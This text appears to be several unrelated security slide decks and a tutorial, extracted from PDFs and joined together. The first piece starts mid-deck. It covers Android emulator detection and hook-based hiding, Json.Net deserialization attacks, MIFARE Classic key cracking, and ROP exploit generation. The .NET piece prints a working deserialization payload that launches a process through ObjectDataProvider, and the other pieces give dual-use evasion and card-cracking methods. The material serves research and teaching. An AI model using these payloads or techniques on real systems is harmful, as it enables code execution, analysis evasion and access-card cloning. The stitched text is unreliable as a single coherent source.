调用TelephonyManager.getDeviceId获取设备Id • 与字符串000000000000000比较判断是否为模拟器 恶意样本反模拟器行为低于正常样本 • 19.029%的恶意样本命中特征 • 部分命中特征仍来源于广告模块,但远低于 正常应用中所占比例 • 过滤广告模块,仍然有15.360%恶意样本命 中特征 模拟器检测方法-Pincer • MD5 – 2D66D7942148DE2D9F08EAB403921C89 • 收集设备信息并上传 – 设备型号 – 运营商信息 – 电话号码 • 通过短信接受远程命令控制 – start_sms_forwarding – start_call_blocking – send_sms • 检测运行环境 – getDeviceId – getLine1Number 模拟器检测方法-Pincer • com.security.cert.a.a.c 通过比较DeviceId、Phone Number检测模拟器 模拟器检测方法-Pincer • com.security.cert.b.b 获取DeviceId、Phone Number以及Network Operator 模拟器检测方法-Pincer • com.security.cert.b.a.a Disable相关组件 模拟器检测方法-Wroba • MD5 – 0BDD5C05FE8B2C5D235CF54CAD21DC48 • 伪装成韩国NH银行应用 • 收集用户短信 • 发送短信 • 查询已安装应用程序 • 与远程服务器通信 • 判断是否为模拟器,核心后台 服务在模拟器环境下不运行 模拟器检测方法-Wroba • nh.four.MainService • nh.four.BaseMessage – 通过android.os.Build获取系统属性 模拟器检测的目的 • 兼容性检查 • 数据收集 • 根据模拟器/真机推送不同数据内容 • 软件崩溃时的日志记录 • 防止自动化行为,如发送垃圾信息 • 隐藏恶意行为 • ... 正常样本与恶意样本检测结果对比 • 正常应用中近50%的样本有反模拟器行为,远高于 恶意样本 • 大量第三方库使用了模拟器检测 • 去除广告库的干扰,正常应用仍然比恶意应用的比 例高 • 通过判断是否有模拟器检测行为,不能作为判定样 本恶意性的主要依据之一 • 反模拟器技术应用普遍,直接影响应用程序在模拟 器上运行时的行为,同时恶意样本会隐藏恶意行为 研究反模拟器对抗技术意义重大! 如何构造更真实的模拟器,欺骗 应用程序其运行在真机环境? 反模拟器对抗的两种基本方法 • 源码修改 – 更改字段值、API行为 – 编译源码生成system.img – 加载system.img运行模拟器 • Runtime Hook – 运行时动态修改API调用行为 – Java层Hook 、Linux层Hook 源码修改缺点明显 • 优点 – 可直接修改硬编码字 段、文件内容等 – 修改后的内容在 Android系统最初的启 动阶段就可以生效 – 不需要Root权限 • 缺点 – 下载、编译源码的软 硬件需求高 – Android碎片化严重, 不同的版本都需要进 行源码修改 – 调试不便,编译时间 较长 – 后期修改、维护麻烦 – 无法动态更改API行为 Runtime Hook轻量灵活 • 优点 – 开发成本低,软硬件需求 不高 – 可针对不同的Android版 – 调试方便,类似于普通应 用程序开发 – 轻量级,可以APK、动态 链接库形式存在 – 部署方便 – 高度可定制 – 运行时可动态切换具体行 为 – 后期修改维护方便 • 缺点 – Hook生效时间较晚 – 硬编码字段无法修改 – 需要Root权限 Android Runtime Hook框架 • Rovo89, Xposed – A framework for modules that can change the behavior of the system and apps without touching any APKs • Saurik, Cydia Substrate – The powerful code modification platform behind Cydia • Collin Mulliner, adbi – The Android Dynamic Binary Instrumentation Toolkit Xposed基本原理 • 替换app_process • 将需要Hook的Java函数替换成JNI函数 • 所有需要Hook的函数首先由xposedCallHandler处理 • XposedCallHandler负责调用注册的 beforeHookedMethod和afterHookedMethod 参考: MindMac-Xposed框架Java部分 http://bbs.pediy.com/showthread.php?t=181561 基于Hook的模拟器隐藏 • 主要针对Android系统层、Linux系统层 – 用户层数据和行为:可以通过数据构造,如增加联系人 信息、短信、通话记录解决 – 模拟器体系结构特征:模拟器的本质问题,同时实际应 用中较少 针对Android系统层的Hook 基于TelephonyManager API的模拟器检测 • 对抗方法 – Hook对应的API,在afterHookedMethod函数中设置区别 于模拟器值的返回结果 – 可进一步返回随机且合理值(更不易被探测) 设置返回值 基于电池电量和状态特征的模拟器检测 • 获取当前电池电量和状态的方法 – BatteryManager将电池信息通过Sticky Intent广播 – 调用registerReceiver并传入值为null的广播接收器 – registerReceiver返回的Intent实例中包含电池电量信息 基于电池电量和状态特征的模拟器检测 • 对抗方法 – Hook android.content.Intent的getIntExtra等函数 – 在afterHookedMethod函数中判断Intent的Action是否为 ACTION_BATTERY_CHAGED,若是,则根据参数修改 返回值 获得this对象 获得函数参数 基于电池电量和状态特征的模拟器检测 • 对抗方法(另一种方法) – telnet localhost <emu-port> – power capacity 78 基于wifi、GPS等硬件特征的模拟器检测 • Wifi – 模拟器上不存在wifi硬件 – 获取到的MAC地址为null – 真机上即使在wifi未打开情况下仍然可以正确获取MAC 地址 • GPS – 模拟器上不存在GPS设备 – LocationManager.getLastKnownLocation返回值为null 基于wifi、GPS等硬件特征的模拟器检测 • 对抗方法(wifi) – Hook android.net.wifi.WifiInfo的getMacAddress函数 – 返回“真实”的MAC地址(可使用随机方法每次返回不同值) • 对抗方法(GPS) – Hook LocationManager的getLastKnownLocation函数 – 在afterHookedMethod中实例化Location对象,并设置坐标值 – 返回实例化的Location对象 设置坐标值 基于Build字段的模拟器检测 • Build.Device等属于静态字段,在android.os. Build类加载时完成赋值 • Xposed等只提供对函数的Hook操作,无法对字段 值进行动态修改 • Xposed等Hook生效时间要晚于Build类的加载 基于Build字段的模拟器检测 • 对抗方法 – 修改Android源码,更改BRAND字段值 – 解压system.img文件;修改build.prop;重新生成 system.img – andwise, Unpack/repack ext4 Android system images, xda developers 如何不修改源码达到Hook效果? 基于Build字段的模拟器检测 • 对抗方法(Smali Hook) – 反编译生成smali code – 将对Landroid/os/Build的引用修改为自定义的类 – 重新编译、签名生成APK 部分应用会进行自校验,此方法会导致APK无法运行! 基于反射调用获取系统属性的模拟器检测 • SystemProperties提供对系统属性的访问和设置 • SystemProperties类默认没有导出 • 需要通过Java反射机制调用 基于反射调用获取系统属性的模拟器检测 • 对抗方法1 – Hook反射调用的目标函数,如SystemProperties.get函数 – 根据参数情况,修改返回值,注意返回值的合理性(系统 在启动阶段同样会调用该函数,不合理的值会导致系统 无法启动) • 对抗方法2 – 直接Hook java.lang.reflect.Method类的invoke函数 – 根据反射调用的类名和方法名判断目标函数 – 进一步解析参数值,根据参数修改返回值 基于/system/build.prop检测模拟器 • 读取/system/build.prop文件检测模拟器 – /system/build.prop文件记录了系统属性值 – Android属性系统服务启动时会读取该文件内容并将属性 值存入共享内存 – 普通应用程序具有可读权限 – 可读取该文件内容并判断是否包含特定字符串 基于/system/build.prop检测模拟器 • 对抗方法 – Hook IO相关API,在读取文件时,篡改文件路径 – 需要Hook所有IO类? – 所有IO操作最终调用libcore.io.IoBridge类中的API – Hook open函数,在beforeHookedMethod中修改path参数 仅针对普通应用程序进行篡改 修改path参数值 基于Monkey事件模拟检测模拟器 • 大部分自动分析系统会采用Monkey生成随机事件, 用于模拟人机交互,触发应用程序更多行为 • ActivityManager.isUserAMonkey函数可检测当前用 户是否为Monkey,返回值为true表示存在Monkey事 件模拟 基于Monkey事件模拟检测模拟器 • 对抗方法 – Hook ActivityManager.isUserAMonkey函数 – 在afterHookedMethod中将返回值设置为false 针对Linux系统层的Hook 通过驱动信息特征检测模拟器 • /proc/tty/drivers驱动信息文件包含特征字符串 goldfish • 普通应用程序具有可读权限 • 读取该驱动信息文件检测是否包含goldfish 通过驱动信息特征检测模拟器 • 对抗方法 – 与基于/system/build.prop的模拟器检测对抗方法类似 – Hook IoBridge的open函数后,篡改文件路径,重定向至 伪造的驱动信息文件 通过设备文件特征检测模拟器 • 模拟器上存在/dev/socket/qemud、/dev/qemu_pipe等 表征模拟器的设备文件 • 通过判断这些文件的存在性检测模拟器 通过设备文件特征检测模拟器 • 对抗方法 – Hook java.io.File类的exists函数 – 获取当前文件路径 – 若当前文件路径为/dev/qemu_pipe,设置返回值为false 获取文件路径 检查文件路径,设置返回值 通过执行shell命令检测模拟器 • getprop命令可以获取当前系统的属性信息 • 通过检查某些属性信息判断是否为模拟器,如 ro.product.name • 调用Runtime.exec函数可以执行shell命令 • 读取shell执行结果判断是否存在特征字符 通过执行shell命令检测模拟器 • 对抗方法1 – Runtime.exec函数调用后返回Process实例 – 执行的shell结果通过Process.getInputStream获取 – Runtime.exec最终会调用ProcessManager.exec,返回 ProcessImpl实例 – Hook ProcessImpl类的getInputStream函数,返回篡改后文 件的inputStream对象 内部类 重定向InputStream before函数中进行参数修改,防止内存泄露 通过执行shell命令检测模拟器 • 对抗方法2 – 替换Linux系统函数,如替换getprop命令 – /system/core/toolbox/getprop.c – make toolbox – /out/target/product/generic/system/bin/toolbox – 使用重新编译生成的toolbox替换系统toolbox 通过Native Code检测模拟器 • NDK提供了__system_property_get函数获取系统属 性 • 需要包含sys/system_properties.h头文件 通过Native Code检测模拟器 • Xposed仅支持对Java层函数进行Hook,无法对 Linux系统层函数的Hook操作 • adbi支持Native Code的Hook 通过Native Code检测模拟器 • 使用adbi Hook Linux系统函数 – 指定入口点 – 设置hook函数 目标函数所在的库 目标函数名称 ARM指令集下的hook函数 Thumb指令集下的hook函数 通过Native Code检测模拟器 • 使用adbi Hook Linux系统函数 – Hook函数实现 参数与目标函数一致 Demo • 设计实现了反模拟器行为的检测 • 通过对真实样本的测试,我们发现 – 反模拟器行为在真实世界中应用十分普遍 – 大部分第三方库进行了模拟器环境检测 – 正常样本中模拟器检测行为比例高于恶意样本 • 通过Hook解决针对Android、Linux系统层的模拟器检测 – 开发容易 – 部署方便 – 定制灵活 总结 谢谢! • MindMac <[email protected]> • Claud Xiao <[email protected]> HideAndroidEmulator: https://github.com/MindMac/HideAndroidEmulator
pdf
云影实验室 1 / 17 .NET 高级代码审计(第二课) Json.Net 反序列化漏洞 Ivan1ee@360 云影实验室 2019 年 03 月 01 日 云影实验室 2 / 17 0X00 前言 Newtonsoft.Json,这是一个开源的 Json.Net 库,官方地址: https://www.newtonsoft.com/json ,一个读写 Json 效率非常高的.Net 库,在做开 发的时候,很多数据交换都是以 json 格式传输的。而使用 Json 的时候,开发者很多时 候会涉及到几个序列化对象的使用:DataContractJsonSerializer, JavaScriptSerializer 和 Json.NET 即 Newtonsoft.Json。大多数人都会选择性能以及 通用性较好 Json.NET,这个虽不是微软的类库,但却是一个开源的世界级的 Json 操作 类库,从下面的性能对比就可以看到它的性能优点。 用它可轻松实现.Net 中所有类型(对象,基本数据类型等)同 Json 之间的转换,在带来便 捷的同时也隐藏了很大的安全隐患,在某些场景下开发者使用 DeserializeObject 方法 序列化不安全的数据,就会造成反序列化漏洞从而实现远程 RCE 攻击,本文笔者从原 理和代码审计的视角做了相关介绍和复现。 云影实验室 3 / 17 0X01 Json.Net 序列化 在 Newtonsoft.Json 中使用 JSONSerializer 可以非常方便的实现.NET 对象与 Json 之 间的转化,JSONSerializer 把.NET 对象的属性名转化为 Json 数据中的 Key,把对象的 属性值转化为 Json 数据中的 Value,如下 Demo,定义 TestClass 对象 并有三个成员,Classname 在序列化的过程中被忽略(JsonIgnore),此外实现了一个 静态方法 ClassMethod 启动进程。 序列化过程通过创建对象实例分别给成员赋值, 云影实验室 4 / 17 用 JsonConvert.SerializeObject 得到序列化后的字符串 {"Name":"Ivan1ee","Age":18} Json 字符串中并没有包含方法 ClassMethod,因为它是静态方法,不参与实例化的过 程,自然在 testClass 这个对象中不存在。这就是一个最简单的序列化 Demo。为了尽 量保证序列化过程不抛出异常,笔者引入 SerializeObject 方法的第二个参数并实例化 创建 JsonSerializerSettings,下面列出属性  NullValueHandling:如果序列化时需要忽略值为 NULL 的属性,使用 JsonSerializerSettings.NullValueHandling.Ignore 来实现;  TypeNameAssemblyFormatHandling:默认情况下 Json.NET 只使用类型中的 部分程序集名称,如:System.Data.DataSet,为了避免在一些环境下不兼容的 问题,需要用到完整的程序集名称,包括版本号、公钥等,所以用到 JsonSerializerSettings.TypeNameAssemblyFormatHandling.Full;  TypeNameHandling:控制 Json.NET 是否在使用$type 属性进行序列化时包 含.NET 类型名称,并从该属性读取.NET 类型名称以确定在反序列化期间要创建 的类型 修改代码添加 TypeNameAssemblyFormatHandling.Full、TypeNameHandling.ALL 将代码改成这样后得到的 testString 变量值才是笔者想要的,打印的数据中带有完整的 程序集名等信息。 {"$type":"WpfApp1.TestClass, WpfApp1, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null","Name":"Ivan1ee","Age":18} 云影实验室 5 / 17 0x02 Json.Net 反序列化 2.1、反序列化用法 反序列过程就是将 Json 字符串转换为对象,通过创建一个新对象的方式调用 JsonConvert.DeserializeObject 方法实现的,传入两个参数,第一个参数需要被序列 化的字符串、第二个参数设置序列化配置选项来指定 JsonSerializer 按照指定的类型名 称处理,其中 TypeNameHandling 可选择的成员分为五种 默认情况下设置为 TypeNameHandling.None,表示 Json.NET 在反序列化期间不读取 或写入类型名称。具体代码可参考以下 2.2、攻击向量—ObjectDataProvider 漏洞的触发点也是在于 TypeNameHandling 这个枚举值,如果开发者设置为非空值、 也就是对象(Objects) 、数组(Arrays) 、自动识别 (Auto) 、所有值(ALL) 的时候 都会造成反序列化漏洞,为此官方文档里也标注了警告,当您的应用程序从外部源反序 列化 JSON 时应谨慎使用 TypeNameHandling。 云影实验室 6 / 17 笔者继续选择 ObjectDataProvider 类方便调用任意被引用类中的方法,具体有关此类 的用法可以看一下《.NET 高级代码审计(第一课)XmlSerializer 反序列化漏洞》,首先 来序列化 TestClass 指定 TypeNameHandling.All、TypeNameAssemblyFormatHandling.Full 后得到序 列化后的 Json 字符串 {"$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","ObjectInstance":{"$type":"WpfApp1.Tes tClass, WpfApp1, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null","Name":null,"Age":0},"MethodName":"ClassMethod","M ethodParameters":{"$type":"MS.Internal.Data.ParameterCollection, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","$values":["calc.exe"]},"IsAsynchronous": false,"IsInitialLoadEnabled":true,"Data":null,"Error":null} 如何构造 System.Diagnostics.Process 序列化的 Json 字符串呢?笔者需要做的工作替 换掉 ObjectInstance 的$type、MethodName 的值以及 MethodParameters 的$type 值,删除一些不需要的 Member、最终得到的反序列话 Json 字符串如下 云影实验室 7 / 17 { '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', 'MethodName':'Start', 'MethodParameters':{ '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089', '$values':['cmd','/c calc'] }, 'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'} } 再经过 JsonConvert.DeserializeObject 反序列化(注意一点指定 TypeNameHandling 的值一定不能是 None),成功弹出计算器。 云影实验室 8 / 17 2.3、攻击向量—WindowsIdentity WindowsIdentity 类位于 System.Security.Principal 命名空间下。顾名思义,用于表 示基于 Windows 认证的身份,认证是安全体系的第一道屏障肩负着守护着整个应用或 者服务的第一道大门,此类定义了 Windows 身份一系列属性 对于用于表示认证类型的 AuthenticationType 属性来说,在工作组模式下返回 NTLM。 对于域模式,如果操作系统是 Vista 或者以后的版本,该属性返回 Negotiate,表示采 用 SPNEGO 认证协议。而对于之前的 Windows 版本,则该属性值为 Kerberos。 Groups 属性返回 WindowsIdentity 对应的 Windows 帐号所在的用户组(User Group),而 IsGuest 则用于判断Windows帐号是否存在于 Guest 用户组中。IsSystem 属性则表示 Windows 帐号是否是一个系统帐号。对于匿名登录,IIS 实际上会采用一个 预先指定的 Windows 帐号进行登录。而在这里,IsAnonymous 属性就表示该 WindowsIdentity 对应的 Windows 帐号是否是匿名帐号。 2.3.1、ISerializable 跟踪定义得知继承于 ClaimsIdentity 类,并且实现了 ISerializable 接口 查看定义得知,只有一个方法 GetObjectData 云影实验室 9 / 17 在.NET 运行时序列化的过程中 CLR 提供了控制序列化数据的特性,如:OnSerializing、 OnSerialized、NonSerialized 等。为了对序列化数据进行完全控制,就需要实现 Serialization.ISeralizable 接口,这个接口只有一个方法,即 GetObjectData,第一个 参数 SerializationInfo 包含了要为对象序列化的值的合集,传递两个参数给它:Type 和 IFormatterConverter,其中 Type 参数表示要序列化的对象全名(包括了程序集名、 版本、公钥等),这点对于构造恶意的反序列化字符串至关重要 另一方面 GetObjectData 又调用 SerializationInfo 类提供的 AddValue 多个重载方法 来指定序列化的信息,AddValue 添加的是一组<key,value> ;GetObjectData 负责添 加好所有必要的序列化信息。 2.3.2、ClaimsIdentity ClaimsIdentity(声称标识)位于 System.Security.Claims 命名空间下,首先看下类的 定义 云影实验室 10 / 17 其实就是一个个包含了 claims 构成的单元体,举个栗子:驾照中的“身份证号码: 000000”是一个 claim、持证人的“姓名: Ivan1ee”是另一个 claim、这一组键值对构 成了一个 Identity,具有这些 claims 的 Identity 就是 ClaimsIdentity,通常用在登录 Cookie 验证,如下代码 一般使用的场景我想已经说明白了,现在来看下类的成员有哪些,能赋值的又有哪些? 参考官方文档可以看到 Lable、BootstrapContext、Actor 三个属性具备了 set 云影实验室 11 / 17 查阅文档可知,这几个属性的原始成员分别为 actor、bootstrapContext、lable 如下 ClaimsIdentity 类初始化方法有两个重载,并且通过前文介绍的 SerializationInfo 来传 入数据,最后用 Deserialize 反序列化数据。 云影实验室 12 / 17 追 溯 的 过 程 有 点 像 框 架 类 的 代 码 审 计 , 跟 踪 到 Deserialize 方 法 体 内 , 查 找 BootstrapContextKey 才知道原来它还需要被外层 base64 解码后带入反序列化 2.3.3、打造 Poc 回过头来想一下,如果使用 GetObjectData 类中的 AddValue 方法添加“key : System.Security.ClaimsIdentity.bootstrapContext“、”value : base64 编码后的 payload“,最后实现 System.Security.Principal.WindowsIdentity.ISerializable 接口 就能攻击成功。首先定义 WindowsIdentityTest 类 笔者用 ysoserial 生成反序列化 Base64 Payload 赋值给 BootstrapContextKey,实现 代码如下 云影实验室 13 / 17 到这步生成变量 obj1 的值就是一段 poc,但还需改造一下,将$type 值改为 System.Security.Principal.WindowsIdentity 完全限定名 最后改进后交给反序列化代码执行,抛出异常之前触发计算器,效果如下图 云影实验室 14 / 17 0x03 代码审计视角 从代码审计的角度其实很容易找到漏洞的污染点,通过前面几个小节的知识能发现需要 满足一个关键条件非 TypeNameHandling.None 的枚举值都可以被反序列化,例如以 下 Json 类 都设置成 TypeNameHandling.All,攻击者只需要控制传入参数 _in 便可轻松实现反序 列化漏洞攻击。Github 上很多的 json 类存在漏洞,例如下图 云影实验室 15 / 17 代码中改用了 Auto 这个值,只要不是 None 值在条件许可的情况下都可以触发漏洞, 笔者相信肯定还有更多的漏洞污染点,需要大家在代码审计的过程中一起去发掘。 0x04 案例复盘 最后再通过下面案例来复盘整个过程,全程展示在 VS 里调试里通过反序列化漏洞弹出 计算器。 1. 输入 http://localhost:5651/Default Post 加载 value 值 2. 通过 JsonConvert.DeserializeObject 反序列化 ,并弹出计算器 云影实验室 16 / 17 最后附上动图 0x05 总结 Newtonsoft.Json 库在实际开发中使用率还是很高的,攻击场景也较丰富,作为漏洞挖 掘者可以多多关注这个点,攻击向量建议选择 ObjectDataProvider,只因生成的 Poc 体积相对较小。最后.NET 反序列化系列课程笔者会同步到 https://github.com/Ivan1ee/ 、https://ivan1ee.gitbook.io/ ,后续笔者将陆续推出 高质量的.NET 反序列化漏洞文章,欢迎大伙持续关注,交流,更多的.NET 安全和技巧 可关注实验室公众号或者笔者的小密圈。 云影实验室 17 / 17
pdf
MIFARE Classic: Completely Broken Chen-Mou Cheng Dept. Electrical Engineering National Taiwan University Introduction • MIFARE Classic – 0wned by NXP Semiconductors, Inc. – The most widely deployed RFID technology • Over 1 billion cards sold • Main uses – Public transportation ticketing systems – Access control systems – Reverse-engineered in late 2008 by European hackers • In this talk, I will report our first-hand experience attacking a real MIFARE Classis system Acknowledgments • K. Nohl, D. Evans, and H. Plötz. “Reverse- engineering a cryptographic RFID tag.” In USENIX Security Symposium 2008 • F. D. Garcia, P. van Rossum, R. Verdult, and R. W. Schreur. “Wirelessly pickpocketing a MIFARE Classic card.” In IEEE Symposium on Security and Privacy 2009 • M.-Y. Chih, J.-R. Shih, B.-Y. Yang, J. Ding, and C.-M. Cheng. “MIFARE Classic: Practical attacks and defenses.” In CISC 2010 Outline • Overview of MIFARE Classic – Memory layout – Communication protocol – Authentication protocol – CRYPTO-1 stream cipher • Principal technique: known-plaintext attack • Reader-based attacks • Sniffer-based attacks • Concluding remarks Jargon of the Trade • MIFARE Classic is based on the ISO/IEC 14443 Type A 13.56 MHz contactless smart card standard – A reader is referred to as a PCD (Proximity Coupling Device), whereas a card/tag, PICC (Proximity Integrated Circuit Card) – We will use these terms interchangeably with readers, cards, and tags Memory Layout Block:  Data – 16 bytes  Value – 4 bytes  Sector tail – access control Sector number Block number Content(16 Bytes) 0 0 UID, BCC, Manufacturer (Read Only) 1.Data/Value Data or Value 2.Data/Value Data or Value 3.Tail Key A Access cond. U Key B 1 4.Data/Value Data or Value 5.Data/Value Data or Value 6.Data/Value Data or Value 7.Tail Key A Access cond. U Key B …… 15 60.Data/Value 00 ff 00 ff 61.Data/Value 00 ff 00 ff 62.Data/Value Data/Value 63.Tail Key A Access cond. U Key B MIFARE Classic 1K Memory Layout Value Value Value Value Value Value Memory size 1 KB 4 KB # Blocks 64 256 # Sectors 16 40 # Blocks in a sector 4 4 or 12 Example Communication and Authentication 1. Anti-collision (UID) 2. Authentication (key A/B) 3. Memory operations  Read  Write  Increment, decrement, restore  Halt Cryptographic Primitive The CRYPTO-1 Stream Cipher 48 bits LFSR Non Linear Filter 0 47 Generating polynomial input LFSR seeds 1. Sector key 2. Nt ⊕ UID 3. Nr keystream …0 1 1 0 0 1 … 20 Principal Attack Technique • Known-plaintext attack on stream cipher – ciphertext = plaintext XOR keystream – Ciphertext can be easily obtained via programmable reader or sniffer – If you know plaintext, then you know keystream • Can recover internal state given enough keystream bits (plus enough computational power) Main Vulnerabilities • CRYPTO-1’s 48-bit key is way toooooooo short – Depending on which bits you have, the time to break can range from a few seconds to a few days • Source of information leakage – Vulnerability in parity computation – Not enough entropy in nonce – Vulnerability in nonlinear filter function – Vulnerabilities in authentication protocol • Allows extremely efficient sniffer-basd attacks Parity against plaintext: Buy eight get one free 32-bit nonce function has only 16 bits of entropy 1 x x x x 11 13 14 16     15 31 Left shift Lower bits High bits 0 32 Generating polynomial Time 8 bits data P P k0 k1 k2 k3 k4 k5 k6 k7 8 bits data k8 k9 … k12 k13 k14 k15 k16 …… Parity and Nonce Equipment Sniffer Reader PCD & PICC Emulator With MIFARE Classic chip Attacks PCD-based Sniffer-based PCD 10M Attacks Cost Comparison PCD offline Sniffer online First Rest Any Platform GPU CPU CPU Devices 16 4 1 Time/per key 14 hour 1 hour < 1 min PCD- based Offline 64 keys in two days Sniffer- based Online Attacks PCD-based Sniffer-based PCD 10M How to Obtain the First Key 1. Keep requesting to authenticate 2. 4 to 6 traces 3. Brute-force search 248 key space PCD PICC 6000f57b f9105fce {00000000} {00000000} {0} {0} {5} An error code trace request response Information leakages 8 bits 4 bits Nt {Nr} {Ar} {0x5} Garcia et al. “Wirelessly pickpocketing a MIFARE Classic card.” In IEEE Symposium on Security and Privacy, 2009 MP SP SP SP SP SP SP SP SP On GPU search Nt Nr Ar {0x5} {P} CRYPTO-1 Keystream bits Brute-force Search using GPU 32 bits {P} Sector key 48 bits LFSR0 LFSR99 Linear MP SP SP SP SP SP SP SP SP MP SP SP SP SP SP SP SP SP MP SP SP SP SP SP SP SP SP MP SP SP SP SP SP SP SP SP MP SP SP SP SP SP SP SP SP MP SP SP SP SP SP SP SP SP MP SP SP SP SP SP SP SP SP MP SP SP SP SP SP SP SP SP MP SP SP SP SP SP SP SP SP ………. On GPU search Nt {Nr} {Ar} {0x5} {P} {P} Trace 1 Trace 2 Trace 4 Middle Statei One thread’s work CRYPTO-1 Keystream Start Point of Internal State Search range 0 to 248-1 2-12 2-12 2-12 2-12 First Key by GPU Search 32bits 32bits Trace 3 On GPU search Nt {Nr} {Ar} {0x5} {P} {P} Trace 1 Trace 2 Trace 3 Trace 4 Middle Statei CRYPTO-1 Keystream 2-12 2-12 2-12 2-12 Without update cipher LFSR First Key by GPU Search 9 11 13 15 17 19 21 23 25 27 29 31 33 35 37 39 41 43 45 47 x x x x x x x x x x x x x x x x x x x x                    Note : Filter function input polynomial One thread’s work On GPU search Nt {Nr} {Ar} {0x5} {P} {P} Error-Code Trace 1 Trace 1 Trace 2 Trace 3 Trace 4 Middle Statei One thread’s work 2-12 Range 0 to 248-1 CRYPTO-1 Keystream Initialization of LFSR Middle Statei • Decrypt and check • Rollback LFSR • The secret key is LFSR state before initialized with Nt First Key by GPU Search On GPU search Nt {Nr} {Ar} {0x5} {P} {P} Error-Code Trace 1 Trace 1 Trace 2 Trace 3 Trace 4 Middle Statei One thread’s work 2-12 CRYPTO-1 Rollback • The secret key of LFSR state before initialized with Nt First Key by GPU Search On GPU search Nt {Nr} {Ar} {0x5} {P} {P} Secret key Candidate Ki Trace 1 Trace 2 Trace 3 Trace 4 Middle Statei One thread’s work CRYPTO-1 Rollback False True First Key by GPU Search Ki On GPU search Trace 1 Trace 3 Trace 4 Trace 2 Middle Statei One thread’s work 2-12 Ki First Key by GPU Search Nt {Nr} {Ar} {0x5} {P} {P} Error-Code Trace 2 CRYPTO-1 Ki Initialization of LFSR Ki On GPU search Trace 1 Trace 3 Trace 4 Trace 2 Middle Statei One thread’s work 2-12 Ki First Key by GPU Search On GPU search Trace 1 Trace 3 Trace 4 Trace 2 Middle Statei One thread’s work Output secret key Ki • Need at least four traces to decide unique secret key • In practical, we run five or six traces • The speed of using four, five, and six traces is approximately same First Key by GPU Search Reader Attack : Rest key Getting Remaining Key Nested authentication Nt {Nr} {Ar} Authenticate with known key {Nr} {Nt2} unknown key AUTH AUTH guess 216 ks0 {P} 213 {Nt3} {Nt4} 216 {Nt5} Keys CRYPTO1 Nt3 Nt4 Nt5 ksw 213 … … 216 Decrypt Keys Keys Inverting Filter Function I1 I2 Ik In In-1 keystream Odd Even Non Linear Filter 24 24 …0 1 1 0 0 1 … Garcia et al. “Wirelessly pickpocketing a MIFARE Classic card.” In IEEE Symposium on Security and Privacy, 2009 A Time-memory Trade-off Odd Even Non Linear Filter 219 0 1 0 1 1 0 0 0 1 0 1 1 0 0 Non Linear Filter 20 21 0,1 0 1 0 1 1 0 0 Non Linear Filter 22 …. 0 1 0 1 1 0 0 Non Linear Filter 24 ODD or EVEN update Index 0 x x x x x x x x x x x x ) 1 x x x +x x x 5 7 9 13 19 21 23 29 31 33 39 43 6 24 34 36 38 48                  Attacks PCD-based Sniffer-based PCD 10M GNURadio-based Sniffer • Elements of the sniffer 1. A good antenna 2. USRP handles A/D and sampling 3. Transfer raw samples across USB 4. DSP on PC 1. Demodulation 2. Decoding 3. Protocol analysis Antenna USRP USB A/D Conv. Sampling PC Command Set • Length of sequent transmission Type Bytes sequent Function V ( INC, DEC, RES) 4-6-4 Change a value block W (WRITE) 4-18 Write a block with 16 bytes data A (AUTH) 4-8 Authenticate a sector by key A/B R (READ) 4-next Read a block Inc/Res/Dec Write Authenticate Read {Inc/Dec/Res N}32 {Write N} 32 Auth N 32 {Read N} 32 {ACK/NCK} 4 {ACK/NCK} 4 Nt 32 {Data} 144 {Value + CRC} 48 {Data || CRC} 144 {Nr} 32 {Ar}32 {Next Command} 32 {Transfer} 32 {ACK/NCK} 4 {At} 32 {ACK/NCK} 4 {Next Command} 32 {Next Command} 32 {Next Command} 32 C B CRC CRC 4 bytes Auth 0x18 {NR} {AR} {Write 0x18} {write data} {Auth 0x8} {NR} { AR } {DEC 0x8} {Value} {Transfer 0x8} {Read} {Auth 0x1a} {NR} { AR } {Write 0x1a} {Write Data} {Auth 0x10} Example One-way Trace 6118e4fe 3edee7b0 3f307d3e 98c9b913 b1c903a22d1cc21b39d1502b894441473f00 89be2cea 1433ad1452895e0c 8d02026d a2ef4ab078a9 84aaacec 5f815afa fbf8c3d9 bcd863a91cf83b07 6fb38b89 72e4a262b284c235c7d054269d85e281d070 ff35fcc0 Anti-collision Example: WRITE Command a012cc82 38db7591 Anti-collision Auth 0x18 Nt {Nr}32 {Ar}32 {Write 0x18}32 {ACK}4 {write data}144 {ACK}4 6118e4fe 3edee7b0 3f307d3e 98c9b913 b1c903a2 2d1cc21b ... {Auth 0x8}32 89be2cea = 98c9b913 States CRYPTO-1 Statei Decrypt trace to statei 1. Ar is a MIFARE nonce 2. 0x610865ee 0x89be2cea ?   Concluding Remarks: How to Fix MIFARE Classic? • Under these attacks MIFARE Classic is a memory card • Need to defend against: 1. Unauthorized content alteration 2. Replay attack 3. Clone attack • Not unlike detecting counterfeit banknotes A Straightforward Defense Mechanism Time synchronized Key ID Signature Signature unusable pdata pdata pdata unusable Super Sector Data block Data block Value block Data/Value block UID count Sector 0 PICC Protecting data integrity using digital signature schemes Example: TTS Questions or comments? Thank you! If you are thinking to deploy MIFARE Classic as a means of access control: “Don’t.”
pdf
An Anti-Mitigation Exploit Generation Integrating with Metasploit Framework Vince Chen Software Quality Laboratory, NCTU About me Vince Chen ● MS in Computer Science and Engineering of NCTU ● Software Quality Laboratory 2 About SQLab ● Advisor: Prof. Shih-Kun Huang ● Current members:  Ph.D student * 3  MS student * 8 ● Central idea:  Bug is Backdoor  Finding Zero Days  CTF、CGC 3 Outline ● Anti-Mitigation (ROPChain) ● Exploit Generation (CRAX) ● Post-Exploitation (Metasploit) 4 How do you feel? 5 If you are a … Programmer 6 Hacker Return-to-stack attack 7 Protection mechanisms - DEP 8 Return-to-libc attack 9 Protection mechanisms - ASLR 10 Return-Oriented Programming (ROP) ● RET instruction sequences (gadgets) ● Unrandomized segment 11 ROP Sample 12 More Complicated? 13 ROPChain 14 ● Generate multi payloads ● Use long gadgets ● Integrate with AEG、 Metasploit Defcon 2015 - fuckup 